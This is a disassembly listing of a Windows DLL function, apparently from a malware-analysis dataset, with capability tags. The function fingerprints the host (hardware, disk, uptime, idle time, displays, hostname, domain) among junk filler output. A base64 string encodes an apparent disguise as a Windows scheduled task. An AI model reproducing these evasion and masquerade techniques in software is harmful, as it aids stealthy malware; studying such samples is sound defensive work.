Function at 0x18000b430
Capabilities:
Check for time delay via gettickcount
Copy file
Get common file path
Get disk size
Get hostname
Get memory capacity
Get system information on windows

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0xae8]
sub rsp, 0xbc0
movaps xmmword [rax - 0x38], xmm6
movaps xmmword [rax - 0x48], xmm7
movaps xmmword [rax - 0x58], xmm10
mov rax, qword [0x18005c020]
xor rax, rsp
mov qword [rbp + 0xa80], rax
lea rcx, [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
lea rdx, str.Processor_Architecture:
lea rcx, [0x180062260]
call fcn.1800128c0
movzx ecx, word [rsp + 0x50]
test ecx, ecx
je 0x18000b4ce
sub ecx, 5
je 0x18000b4c5
sub ecx, 1
je 0x18000b4bc
cmp ecx, 3
je 0x18000b4b3
lea rdx, str.Unknown
jmp 0x18000b4d5
lea rdx, str.AMD64
jmp 0x18000b4d5
lea rdx, str.IA64
jmp 0x18000b4d5
lea rdx, [0x18005507c]
jmp 0x18000b4d5
lea rdx, [0x180055088]
lea rcx, [0x180062260]
call fcn.1800128c0
mov rcx, rax
call fcn.180012b30
lea rdx, str.Number_of_Processors:
lea rcx, [0x180062260]
call fcn.1800128c0
mov rcx, rax
mov edx, dword [rsp + 0x70]
call fcn.18000fdf0
mov rcx, rax
call fcn.180012b30
lea rdx, str.Processor_Type:
lea rcx, [0x180062260]
call fcn.1800128c0
mov rcx, rax
mov edx, dword [rsp + 0x74]
call fcn.18000fdf0
mov rcx, rax
call fcn.180012b30
lea rdx, str.Processor_Level:
lea rcx, [0x180062260]
call fcn.1800128c0
mov rcx, rax
movzx edx, word [rsp + 0x7c]
call fcn.18000ffa0
mov rcx, rax
call fcn.180012b30
lea rdx, str.Processor_Revision:
lea rcx, [0x180062260]
call fcn.1800128c0
mov rcx, rax
movzx edx, word [rsp + 0x7e]
call fcn.18000ffa0
mov rcx, rax
call fcn.180012b30
mov edx, 8
lea r8d, [rdx + 0xd]
lea rcx, str.Fibonacci_number_at_position__d_is__d_n
call fcn.1800017e0
xorps xmm0, xmm0
movsd xmm1, qword [0x180055448]
ucomisd xmm0, xmm1
ja 0x18000b5b4
sqrtpd xmm10, xmm1
jmp 0x18000b5c0
movaps xmm0, xmm1
call fcn.180043f34
movaps xmm10, xmm0
xorps xmm1, xmm1
cvtsd2ss xmm1, xmm10
cvtps2pd xmm2, xmm1
movq r8, xmm2
mov edx, 9
lea rcx, str.Square_root_of__d_is__.2f_n
call fcn.1800017e0
xor r15d, r15d
mov qword [rbp + 0x1f0], r15
mov qword [rbp + 0x200], r15
mov qword [rbp + 0x208], 0xf
mov byte [rbp + 0x1f0], r15b
mov qword [rbp + 0x170], r15
mov qword [rbp + 0x180], r15
mov qword [rbp + 0x188], 0xf
mov byte [rbp + 0x170], r15b
mov qword [rbp + 0x1d0], r15
mov qword [rbp + 0x1e0], r15
mov qword [rbp + 0x1e8], 0xf
mov byte [rbp + 0x1d0], r15b
mov qword [rbp + 0x230], r15
movdqa xmm0, xmmword [0x180055460]
movdqu xmmword [rbp + 0x240], xmm0
mov byte [rbp + 0x230], r15b
mov qword [rbp + 0x1b0], r15
mov qword [rbp + 0x1c0], r15
mov qword [rbp + 0x1c8], 0xf
mov byte [rbp + 0x1b0], r15b
lea edx, [r15 + 0x2c]
lea rcx, str._c_is_a_punctuation_mark._n
call fcn.1800017e0
mov edx, 0x19
mov r9d, edx
lea r8d, [r15 + 0x1e]
lea rcx, str.The_minimum_number_between__d_and__d_is__d_n
call fcn.1800017e0
mov edx, 0x7e4
lea rcx, str._d_is_a_leap_year._n
call fcn.1800017e0
mov qword [rbp + 0x210], r15
movdqa xmm0, xmmword [0x180055460]
movdqu xmmword [rbp + 0x220], xmm0
mov byte [rbp + 0x210], r15b
mov qword [rbp + 0x290], r15
movdqu xmmword [rbp + 0x2a0], xmm0
mov byte [rbp + 0x290], r15b
mov qword [rbp + 0x270], r15
movdqu xmmword [rbp + 0x280], xmm0
mov byte [rbp + 0x270], r15b
mov qword [rbp + 0x250], r15
mov qword [rbp + 0x260], r15
mov qword [rbp + 0x268], 0xf
mov byte [rbp + 0x250], r15b
lea r9, [rbp + 0x110]
lea r8, [rsp + 0x30]
lea rdx, [rsp + 0x38]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExW]
test eax, eax
je 0x18000b797
mov rdi, qword [rbp + 0x110]
shr rdi, 0x1e
mov rbx, qword [rsp + 0x30]
shr rbx, 0x1e
lea rdx, str.Disk_Usage:
lea rcx, [0x180062260]
call fcn.1800128c0
mov rcx, rax
mov rdx, rbx
call fcn.18000fc40
mov rcx, rax
lea rdx, str._GB_Total_
call fcn.1800128c0
mov rcx, rax
mov rdx, rdi
call fcn.18000fc40
lea rdx, str._GB_Free
jmp 0x18000b7a5
lea rax, [0x180062260]
lea rdx, str.Failed_to_get_disk_usage_
mov rcx, rax
call fcn.1800128c0
mov rcx, rax
call fcn.180012b30
mov edx, 0x20
lea rcx, str._c_is_a_whitespace_character._n
call fcn.1800017e0
xor ecx, ecx
call fcn.1800230fc
mov qword [rsp + 0x30], rax
lea rcx, [rsp + 0x30]
call fcn.180023458
mov r9, rax
lea r8, str._Y__m__d__H:_M:_S
mov edx, 0x14
lea rcx, [rbp - 0x40]
call fcn.1800204c4
lea rdx, str.Current_Time_2:
lea rcx, [0x180062260]
call fcn.1800128c0
mov rcx, rax
lea rdx, [rbp - 0x40]
call fcn.1800128c0
mov rcx, rax
call fcn.180012b30
mov qword [rbp + 0x950], r15
mov qword [rbp + 0x960], r15
mov qword [rbp + 0x968], 0xf
lea rdx, str.fHxlZnN1aS5leGV8fHRhc2tob3N0dy5leGV8fDIwMjEtMDItMTUgMTY6NTc6NDJ8fEM6XFdpbmRvd3NcTWljcm9zb2Z0Lk5FVFxGcmFtZXdvcms2NFx2NC4wLjMwMzE5XHx8XE1pY3Jvc29mdFxXaW5kb3dzXE1VSVxMUFJlbW92ZVVTfHxTdGFydCB0aGUgbGFuZ3VhZ2UgZGV0ZWN0aW9uIHRvb2wufHwxfHwx
mov r13, 0xffffffffffffffff
mov r8, r13
inc r8
cmp byte [rdx + r8], 0
jne 0x18000b845
lea rcx, [rbp + 0x950]
call fcn.180011570
lea rdx, [rbp + 0x950]
lea rcx, [rbp + 0x150]
call fcn.180005fa0
nop
mov edx, 0xf
mov r9d, 0x14
mov r8d, r9d
lea rcx, str.The_maximum_number_between__d_and__d_is__d_n
call fcn.1800017e0
mov edx, 0xa
lea r9d, [rdx - 7]
lea r8d, [rdx - 3]
lea rcx, str.Difference_between__d_and__d_is__d_n
call fcn.1800017e0
mov edx, 8
lea r8d, [rdx + 0xd]
lea rcx, str.Fibonacci_number_at_position__d_is__d_n
call fcn.1800017e0
mov qword [rbp - 0x40], r15
mov qword [rbp - 0x30], r15
mov qword [rbp - 0x28], r15
mov rdi, qword [rbp + 0x160]
lea rsi, [rbp + 0x150]
cmp qword [rbp + 0x168], 0x10
cmovae rsi, qword [rbp + 0x150]
movabs rax, 0x7fffffffffffffff
cmp rdi, 0x10
jae 0x18000b8ff
movups xmm0, xmmword [rsi]
movups xmmword [rbp - 0x40], xmm0
mov ebx, 0xf
jmp 0x18000b96b
mov rbx, rdi
or rbx, 0xf
cmp rbx, rax
cmova rbx, rax
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x18000b949
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x18000f9d8
mov rcx, rax
call fcn.18001ae40
mov rcx, rax
test rax, rax
je 0x18000f9de
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x18000b958
test rcx, rcx
je 0x18000b955
call fcn.18001ae40
jmp 0x18000b958
mov rax, r15
mov qword [rbp - 0x40], rax
lea r8, [rdi + 1]
mov rdx, rsi
mov rcx, rax
call fcn.18001cb00
mov qword [rbp - 0x30], rdi
mov qword [rbp - 0x28], rbx
lea rdx, [rbp - 0x40]
lea rcx, [rsp + 0x50]
call fcn.180006850
mov rbx, rax
lea rax, [rbp + 0x150]
cmp rax, rbx
je 0x18000ba0c
mov rdx, qword [rbp + 0x168]
cmp rdx, 0x10
jb 0x18000b9d1
inc rdx
mov rcx, qword [rbp + 0x150]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18000b9cc
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18000f9de
call fcn.18001ae7c
movdqa xmm0, xmmword [0x180055460]
movdqu xmmword [rbp + 0x160], xmm0
mov byte [rbp + 0x150], 0
movups xmm0, xmmword [rbx]
movups xmmword [rbp + 0x150], xmm0
movups xmm1, xmmword [rbx + 0x10]
movups xmmword [rbp + 0x160], xmm1
mov qword [rbx + 0x10], r15
mov qword [rbx + 0x18], 0xf
mov byte [rbx], 0
mov rdx, qword [rsp + 0x68]
cmp rdx, 0x10
jb 0x18000ba49
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18000ba44
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18000f9de
call fcn.18001ae7c
mov edx, 0x35
lea rcx, str._c_is_a_digit._n
call fcn.1800017e0
mov edx, 6
mov r8d, 0x2d0
lea rcx, str.Factorial_of__d_is__d_n
call fcn.1800017e0
call qword [sym.imp.KERNEL32.dll_GetTickCount64]
mov r14, rax
movabs rax, 0x8daea1d7f4cf721b
mul r14
mov rsi, r14
sub rsi, rdx
shr rsi, 1
add rsi, rdx
shr rsi, 0x1a
imul rax, rsi, 0x5265c00
mov rcx, r14
sub rcx, rax
movabs r8, 0x4a90be587de6e565
mov rax, r8
mul rcx
mov rdi, rdx
shr rdi, 0x14
mov rax, r8
mul r14
shr rdx, 0x14
imul rax, rdx, 0x36ee80
mov rbx, r14
sub rbx, rax
movabs rcx, 0x179ec9cbd821dc3b
mov rax, rcx
mul rbx
sub rbx, rdx
shr rbx, 1
add rbx, rdx
shr rbx, 0xf
mov rax, rcx
mul r14
mov rax, r14
sub rax, rdx
shr rax, 1
add rax, rdx
shr rax, 0xf
imul rax, rax, 0xea60
sub r14, rax
movabs rax, 0x624dd2f1a9fbe77
mul r14
sub r14, rdx
shr r14, 1
add r14, rdx
shr r14, 9
lea rdx, str.System_Uptime:
lea rcx, [0x180062260]
call fcn.1800128c0
mov rcx, rax
mov edx, esi
call fcn.18000fdf0
mov rcx, rax
lea rdx, str._days_
call fcn.1800128c0
mov rcx, rax
mov edx, edi
call fcn.18000fdf0
mov rcx, rax
lea rdx, str._hours_
call fcn.1800128c0
mov rcx, rax
mov edx, ebx
call fcn.18000fdf0
mov rcx, rax
lea rdx, str._minutes_
call fcn.1800128c0
mov rcx, rax
mov edx, r14d
call fcn.18000fdf0
mov rcx, rax
lea rdx, str._seconds
call fcn.1800128c0
mov rcx, rax
call fcn.180012b30
mov ebx, r15d
mov dword [rbp + 0x110], 8
lea rcx, [rbp + 0x110]
call qword [sym.imp.USER32.dll_GetLastInputInfo]
test eax, eax
je 0x18000bbe1
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, eax
sub ecx, dword [rbp + 0x114]
mov eax, 0x10624dd3
mul ecx
mov ebx, edx
shr ebx, 6
lea rdx, str.Idle_Time:
lea r14, [0x180062260]
mov rcx, r14
call fcn.1800128c0
mov rcx, rax
mov edx, ebx
call fcn.18000fdf0
mov rcx, rax
lea rdx, str._seconds
call fcn.1800128c0
mov rcx, rax
call fcn.180012b30
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x138], xmm0
mov qword [rbp + 0x148], rax
lea rax, [rsp + 0x50]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x50], r15
mov qword [rsp + 0x60], r15
mov qword [rsp + 0x68], 0xf
mov r12d, 2
mov r8d, r12d
lea rdx, [0x1800551ec]
lea rcx, [rsp + 0x50]
call fcn.180011570
nop
mov qword [rbp - 0x70], r15
mov qword [rbp - 0x60], r15
mov qword [rbp - 0x58], r15
mov rsi, qword [rbp + 0x160]
lea rdi, [rbp + 0x150]
cmp qword [rbp + 0x168], 0x10
cmovae rdi, qword [rbp + 0x150]
cmp rsi, 0x10
jae 0x18000bca1
movups xmm0, xmmword [rdi]
movups xmmword [rbp - 0x70], xmm0
lea ebx, [r12 + 0xd]
jmp 0x18000bd17
mov rbx, rsi
or rbx, 0xf
movabs rax, 0x7fffffffffffffff
cmp rbx, rax
cmova rbx, rax
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x18000bcf5
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x18000f9e4
mov rcx, rax
call fcn.18001ae40
mov rcx, rax
test rax, rax
je 0x18000f9ea
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x18000bd04
test rcx, rcx
je 0x18000bd01
call fcn.18001ae40
jmp 0x18000bd04
mov rax, r15
mov qword [rbp - 0x70], rax
lea r8, [rsi + 1]
mov rdx, rdi
mov rcx, rax
call fcn.18001cb00
mov qword [rbp - 0x60], rsi
mov qword [rbp - 0x58], rbx
lea r8, [rsp + 0x50]
lea rdx, [rbp - 0x70]
lea rcx, [rbp + 0x138]
call fcn.180007d00
nop
mov edx, 4
lea r8d, [rdx + 0xc]
lea rcx, str.Square_of__d_is__d_n
call fcn.1800017e0
mov edx, 0x65
lea rcx, str._c_is_a_lowercase_letter._n
call fcn.1800017e0
mov edx, 0x48
lea rcx, str._c_is_an_uppercase_letter._n
call fcn.1800017e0
mov edx, 0xa
lea r9d, [rdx - 7]
lea r8d, [rdx - 3]
lea rcx, str.Difference_between__d_and__d_is__d_n
call fcn.1800017e0
mov r8d, 1
mov ecx, r12d
nop
mov eax, 0x11
cdq
idiv ecx
test edx, edx
je 0x18000bda5
inc ecx
cmp ecx, 8
jle 0x18000bd90
jmp 0x18000bda8
mov r8d, r15d
lea rsi, str._d_is_not_a_prime_number._n
lea rcx, str._d_is_a_prime_number._n
test r8d, r8d
cmove rcx, rsi
mov edx, 0x11
call fcn.1800017e0
xor edx, edx
mov r8d, pe_nt_image_headers64
lea rcx, [rbp + 0x2b4]
call fcn.18001d1b0
mov dword [rbp + 0x2b0], 0x114
lea rcx, [rbp + 0x2b0]
call qword [sym.imp.KERNEL32.dll_GetVersionExW]
test eax, eax
je 0x18000be56
lea rdx, str.Operating_System_Version:
mov rcx, r14
call fcn.1800128c0
mov rcx, rax
mov edx, dword [rbp + 0x2b4]
call fcn.18000fdf0
mov rcx, rax
lea rdx, [0x180055154]
call fcn.1800128c0
mov rcx, rax
mov edx, dword [rbp + 0x2b8]
call fcn.18000fdf0
mov rcx, rax
lea rdx, str.__Build
call fcn.1800128c0
mov rcx, rax
mov edx, dword [rbp + 0x2bc]
call fcn.18000fdf0
lea rdx, [0x180055144]
jmp 0x18000be60
mov rax, r14
lea rdx, str.Failed_to_get_operating_system_version_
mov rcx, rax
call fcn.1800128c0
mov rcx, rax
call fcn.180012b30
mov edx, 0x65
lea rcx, str._c_is_a_lowercase_letter._n
call fcn.1800017e0
mov edx, 5
lea r9d, [rdx + 3]
lea r8d, [rdx - 2]
lea rcx, str.Sum_of__d_and__d_is__d_n
call fcn.1800017e0
mov dword [rbp + 0x2b0], 0x348
mov ebx, r15d
xor r9d, r9d
lea r8, [rbp + 0x2b0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_EnumDisplayDevicesW]
mov edi, 0xdc
test eax, eax
je 0x18000bfd6
nop dword [rax + rax]
lea rdx, str.Display_Device_Name:
mov rcx, r14
call fcn.1800128c0
mov rcx, rax
lea rdx, [rbp + 0x2b4]
call fcn.18000fa90
mov rcx, rax
call fcn.180012b30
lea rdx, str.Display_Device_String:
mov rcx, r14
call fcn.1800128c0
mov rcx, rax
lea rdx, [rbp + 0x2f4]
call fcn.18000fa90
mov rcx, rax
call fcn.180012b30
mov word [rbp + 0x34], di
lea r8, [rbp - 0x10]
mov edx, 0xffffffff
lea rcx, [rbp + 0x2b4]
call qword [sym.imp.USER32.dll_EnumDisplaySettingsW]
test eax, eax
je 0x18000bfb0
lea rdx, str.Display_Resolution:
mov rcx, r14
call fcn.1800128c0
mov rcx, rax
mov edx, dword [rbp + 0x9c]
call fcn.18000fdf0
mov rcx, rax
lea rdx, [0x180054e98]
call fcn.1800128c0
mov rcx, rax
mov edx, dword [rbp + 0xa0]
call fcn.18000fdf0
mov rcx, rax
call fcn.180012b30
lea rdx, str.Display_Refresh_Rate:
mov rcx, r14
call fcn.1800128c0
mov rcx, rax
mov edx, dword [rbp + 0xa8]
call fcn.18000fdf0
mov rcx, rax
lea rdx, [0x180054eb8]
call fcn.1800128c0
mov rcx, rax
call fcn.180012b30
mov rcx, r14
call fcn.180012b30
inc ebx
xor r9d, r9d
lea r8, [rbp + 0x2b0]
mov edx, ebx
xor ecx, ecx
call qword [sym.imp.USER32.dll_EnumDisplayDevicesW]
test eax, eax
jne 0x18000bed0
mov r8, qword [rbp + 0x138]
lea rax, [rbp + 0x1f0]
cmp rax, r8
je 0x18000c006
mov rdx, r8
cmp qword [r8 + 0x18], 0x10
jb 0x18000bff6
mov rdx, qword [r8]
mov r8, qword [r8 + 0x10]
lea rcx, [rbp + 0x1f0]
call fcn.180011570
mov edx, 7
lea rcx, str._d_is_odd_n
call fcn.1800017e0
lea rcx, [rbp - 0x40]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
lea rdx, str.Processor_Architecture:
mov rcx, r14
call fcn.1800128c0
movzx ecx, word [rbp - 0x40]
test ecx, ecx
je 0x18000c06b
sub ecx, 5
je 0x18000c062
sub ecx, 1
je 0x18000c059
cmp ecx, 3
je 0x18000c050
lea rdx, str.Unknown
jmp 0x18000c072
lea rdx, str.AMD64
jmp 0x18000c072
lea rdx, str.IA64
jmp 0x18000c072
lea rdx, [0x18005507c]
jmp 0x18000c072
lea rdx, [0x180055088]
mov rcx, r14
call fcn.1800128c0
mov rcx, rax
call fcn.180012b30
lea rdx, str.Number_of_Processors:
mov rcx, r14
call fcn.1800128c0
mov rcx, rax
mov edx, dword [rbp - 0x20]
call fcn.18000fdf0
mov rcx, rax
call fcn.180012b30
lea rdx, str.Processor_Type:
mov rcx, r14
call fcn.1800128c0
mov rcx, rax
mov edx, dword [rbp - 0x1c]
call fcn.18000fdf0
mov rcx, rax
call fcn.180012b30
lea rdx, str.Processor_Level:
mov rcx, r14
call fcn.1800128c0
mov rcx, rax
movzx edx, word [rbp - 0x14]
call fcn.18000ffa0
mov rcx, rax
call fcn.180012b30
lea rdx, str.Processor_Revision:
mov rcx, r14
call fcn.1800128c0
mov rcx, rax
movzx edx, word [rbp - 0x12]
call fcn.18000ffa0
mov rcx, rax
call fcn.180012b30
mov edx, 5
lea r9d, [rdx + 3]
lea r8d, [rdx - 2]
lea rcx, str.Sum_of__d_and__d_is__d_n
call fcn.1800017e0
mov r8, qword [rbp + 0x138]
add r8, 0x20
lea rax, [rbp + 0x170]
cmp rax, r8
je 0x18000c159
mov rdx, r8
cmp qword [r8 + 0x18], 0x10
jb 0x18000c149
mov rdx, qword [r8]
mov r8, qword [r8 + 0x10]
lea rcx, [rbp + 0x170]
call fcn.180011570
mov edx, 0x19
mov r9d, edx
lea r8d, [rdx + 5]
lea rcx, str.The_minimum_number_between__d_and__d_is__d_n
call fcn.1800017e0
xorps xmm0, xmm0
cvtsd2ss xmm0, xmm10
cvtps2pd xmm6, xmm0
movaps xmm2, xmm6
movq r8, xmm6
mov edx, 9
lea rcx, str.Square_root_of__d_is__.2f_n
call fcn.1800017e0
mov edx, 0x20
lea rcx, str._c_is_a_whitespace_character._n
call fcn.1800017e0
mov r8, qword [rbp + 0x138]
add r8, 0x40
lea rax, [rbp + 0x1d0]
cmp rax, r8
je 0x18000c1da
mov rdx, r8
cmp qword [r8 + 0x18], 0x10
jb 0x18000c1ca
mov rdx, qword [r8]
mov r8, qword [r8 + 0x10]
lea rcx, [rbp + 0x1d0]
call fcn.180011570
lea r9, [rsp + 0x30]
lea r8, [rbp + 0x110]
lea rdx, [rsp + 0x38]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExW]
test eax, eax
je 0x18000c248
mov rdi, qword [rsp + 0x30]
shr rdi, 0x1e
mov rbx, qword [rbp + 0x110]
shr rbx, 0x1e
lea rdx, str.Disk_Usage:
mov rcx, r14
call fcn.1800128c0
mov rcx, rax
mov rdx, rbx
call fcn.18000fc40
mov rcx, rax
lea rdx, str._GB_Total_
call fcn.1800128c0
mov rcx, rax
mov rdx, rdi
call fcn.18000fc40
lea rdx, str._GB_Free
jmp 0x18000c252
mov rax, r14
lea rdx, str.Failed_to_get_disk_usage_
mov rcx, rax
call fcn.1800128c0
mov rcx, rax
call fcn.180012b30
mov edx, 0x7e4
lea rcx, str._d_is_a_leap_year._n
call fcn.1800017e0
mov edx, 0x65
lea rcx, str._c_is_a_lowercase_letter._n
call fcn.1800017e0
mov r8, qword [rbp + 0x138]
add r8, 0x60
lea rax, [rbp + 0x230]
cmp rax, r8
je 0x18000c2b8
mov rdx, r8
cmp qword [r8 + 0x18], 0x10
jb 0x18000c2a8
mov rdx, qword [r8]
mov r8, qword [r8 + 0x10]
lea rcx, [rbp + 0x230]
call fcn.180011570
mov edx, 0xf
mov r9d, 0x14
mov r8d, r9d
lea rcx, str.The_maximum_number_between__d_and__d_is__d_n
call fcn.1800017e0
lea r9, [rsp + 0x30]
lea r8, [rbp + 0x110]
lea rdx, [rsp + 0x38]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExW]
test eax, eax
je 0x18000c340
mov rdi, qword [rsp + 0x30]
shr rdi, 0x1e
mov rbx, qword [rbp + 0x110]
shr rbx, 0x1e
lea rdx, str.Disk_Usage:
mov rcx, r14
call fcn.1800128c0
mov rcx, rax
mov rdx, rbx
call fcn.18000fc40
mov rcx, rax
lea rdx, str._GB_Total_
call fcn.1800128c0
mov rcx, rax
mov rdx, rdi
call fcn.18000fc40
lea rdx, str._GB_Free
jmp 0x18000c34a
mov rax, r14
lea rdx, str.Failed_to_get_disk_usage_
mov rcx, rax
call fcn.1800128c0
mov rcx, rax
call fcn.180012b30
mov dword [rbp + 0x110], 0x10
lea rdx, [rbp + 0x110]
lea rcx, [rbp - 0x40]
call qword [sym.imp.KERNEL32.dll_GetComputerNameW]
test eax, eax
je 0x18000c3a2
lea rdx, str.Computer_Name:
lea rcx, [0x180062400]
call fcn.180012bc0
mov rcx, rax
lea rdx, [rbp - 0x40]
call fcn.180012bc0
mov rcx, rax
call fcn.180012e40
jmp 0x18000c3b9
lea rdx, str.Failed_to_get_computer_name_
mov rcx, r14
call fcn.1800128c0
mov rcx, rax
call fcn.180012b30
mov dword [rbp + 0x110], 0x10
lea r8, [rbp + 0x110]
lea rdx, [rbp + 0x950]
mov ecx, r12d
call qword [sym.imp.KERNEL32.dll_GetComputerNameExW]
test eax, eax
je 0x18000c40a
lea rdx, str.Domain_Name:
lea rcx, [0x180062400]
call fcn.180012bc0
mov rcx, rax
lea rdx, [rbp + 0x950]
call fcn.180012bc0
mov rcx, rax
call fcn.180012e40
jmp 0x18000c421
lea rdx, str.Failed_to_get_domain_name_
mov rcx, r14
call fcn.1800128c0
mov rcx, rax
call fcn.180012b30
mov r8, qword [rbp + 0x138]
sub r8, 0xffffffffffffff80
lea rax, [rbp + 0x1b0]
cmp rax, r8
je 0x18000c455
mov rdx, r8
cmp qword [r8 + 0x18], 0x10
jb 0x18000c445
mov rdx, qword [r8]
mov r8, qword [r8 + 0x10]
lea rcx, [rbp + 0x1b0]
call fcn.180011570
mov dword [rbp + 0x110], 0x10
lea rdx, [rbp + 0x110]
lea rcx, [rbp - 0x40]
call qword [sym.imp.KERNEL32.dll_GetComputerNameW]
test eax, eax
je 0x18000c49d
lea rdx, str.Computer_Name:
lea rcx, [0x180062400]
call fcn.180012bc0
mov rcx, rax
lea rdx, [rbp - 0x40]
call fcn.180012bc0
mov rcx, rax
call fcn.180012e40
jmp 0x18000c4b4
lea rdx, str.Failed_to_get_computer_name_
mov rcx, r14
call fcn.1800128c0
mov rcx, rax
call fcn.180012b30
mov dword [rbp + 0x110], 0x10
lea r8, [rbp + 0x110]
lea rdx, [rbp + 0x950]
mov ecx, r12d
call qword [sym.imp.KERNEL32.dll_GetComputerNameExW]
test eax, eax
je 0x18000c505
lea rdx, str.Domain_Name:
lea rcx, [0x180062400]
call fcn.180012bc0
mov rcx, rax
lea rdx, [rbp + 0x950]
call fcn.180012bc0
mov rcx, rax
call fcn.180012e40
jmp 0x18000c51c
lea rdx, str.Failed_to_get_domain_name_
mov rcx, r14
call fcn.1800128c0
mov rcx, rax
call fcn.180012b30
mov edx, 0x2c
lea rcx, str._c_is_a_punctuation_mark._n
call fcn.1800017e0
lea rcx, [rbp + 0x950]
call qword [sym.imp.KERNEL32.dll_GetLocalTime]
lea rdx, str.Current_Time_1:
mov rcx, r14
call fcn.1800128c0
mov rcx, rax
movzx edx, word [rbp + 0x958]
call fcn.18000ffa0
mov rcx, rax
lea rdx, [0x180054ce0]
call fcn.1800128c0
mov rcx, rax
movzx edx, word [rbp + 0x95a]
call fcn.18000ffa0
mov rcx, rax
lea rdx, [0x180054ce0]
call fcn.1800128c0
mov rcx, rax
movzx edx, word [rbp + 0x95c]
call fcn.18000ffa0
mov rcx, rax
call fcn.180012b30
movaps xmm2, xmm6
movq r8, xmm6
mov edx, 9
lea rcx, str.Square_root_of__d_is__.2f_n
call fcn.1800017e0
xor ecx, ecx
call fcn.1800230fc
mov qword [rsp + 0x30], rax
lea rcx, [rsp + 0x30]
call fcn.180023458
mov r9, rax
lea r8, str._Y__m__d__H:_M:_S
mov edx, 0x14
lea rcx, [rbp - 0x40]
call fcn.1800204c4
lea rdx, str.Current_Time_2:
mov rcx, r14
call fcn.1800128c0
mov rcx, rax
lea rdx, [rbp - 0x40]
call fcn.1800128c0
mov rcx, rax
call fcn.180012b30
mov edx, 0x48
lea rcx, str._c_is_an_uppercase_letter._n
call fcn.1800017e0
mov r8, qword [rbp + 0x138]
add r8, 0xa0
lea rax, [rbp + 0x210]
cmp rax, r8
je 0x18000c64e
mov rdx, r8
cmp qword [r8 + 0x18], 0x10
jb 0x18000c63e
mov rdx, qword [r8]
mov r8, qword [r8 + 0x10]
lea rcx, [rbp + 0x210]
call fcn.180011570
lea r9, [rsp + 0x30]
lea r8, [rbp + 0x110]
lea rdx, [rsp + 0x38]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExW]
mov rcx, r14
test eax, eax
je 0x18000c6bf
mov rdi, qword [rsp + 0x30]
shr rdi, 0x1e
mov rbx, qword [rbp + 0x110]
shr rbx, 0x1e
lea rdx, str.Disk_Usage:
call fcn.1800128c0
mov rcx, rax
mov rdx, rbx
call fcn.18000fc40
mov rcx, rax
lea rdx, str._GB_Total_
call fcn.1800128c0
mov rcx, rax
mov rdx, rdi
call fcn.18000fc40
mov rcx, rax
lea rdx, str._GB_Free
jmp 0x18000c6c6
lea rdx, str.Failed_to_get_disk_usage_
call fcn.1800128c0
mov rcx, rax
call fcn.180012b30
mov edx, 0xf
mov r9d, 0x14
mov r8d, r9d
lea rcx, str.The_maximum_number_between__d_and__d_is__d_n
call fcn.1800017e0
xor edx, edx
mov r8d, pe_nt_image_headers64
lea rcx, [rbp + 0x2b4]
call fcn.18001d1b0
mov dword [rbp + 0x2b0], 0x114
lea rcx, [rbp + 0x2b0]
call qword [sym.imp.KERNEL32.dll_GetVersionExW]
mov rcx, r14
test eax, eax
je 0x18000c77f
lea rdx, str.Operating_System_Version:
call fcn.1800128c0
mov rcx, rax
mov edx, dword [rbp + 0x2b4]
call fcn.18000fdf0
mov rcx, rax
lea rdx, [0x180055154]
call fcn.1800128c0
mov rcx, rax
mov edx, dword [rbp + 0x2b8]
call fcn.18000fdf0
mov rcx, rax
lea rdx, str.__Build
call fcn.1800128c0
mov rcx, rax
mov edx, dword [rbp + 0x2bc]
call fcn.18000fdf0
mov rcx, rax
lea rdx, [0x180055144]
jmp 0x18000c786
lea rdx, str.Failed_to_get_operating_system_version_
call fcn.1800128c0
mov rcx, rax
call fcn.180012b30
mov r8, qword [rbp + 0x138]
add r8, 0xc0
lea rax, [rbp + 0x290]
cmp rax, r8
je 0x18000c7ca
mov rdx, r8
cmp qword [r8 + 0x18], 0x10
jb 0x18000c7ba
mov rdx, qword [r8]
mov r8, qword [r8 + 0x10]
lea rcx, [rbp + 0x290]
call fcn.180011570
mov edx, 5
lea r9d, [rdx + 3]
lea r8d, [rdx - 2]
lea rcx, str.Sum_of__d_and__d_is__d_n
call fcn.1800017e0
mov edx, 8
lea r8d, [rdx + 0xd]
lea rcx, str.Fibonacci_number_at_position__d_is__d_n
call fcn.1800017e0
mov edx, 0xf
mov r9d, 0x14
mov r8d, r9d
lea rcx, str.The_maximum_number_between__d_and__d_is__d_n
call fcn.1800017e0
mov r8, qword [rbp + 0x138]
add r8, 0xe0
lea rax, [rbp + 0x270]
cmp rax, r8
je 0x18000c849
mov rdx, r8
cmp qword [r8 + 0x18], 0x10
jb 0x18000c839
mov rdx, qword [r8]
mov r8, qword [r8 + 0x10]
lea rcx, [rbp + 0x270]
call fcn.180011570
mov edx, 7
lea rcx, str._d_is_odd_n
call fcn.1800017e0
mov edx, 0x35
lea rcx, str._c_is_a_digit._n
call fcn.1800017e0
mov edx, 0x19
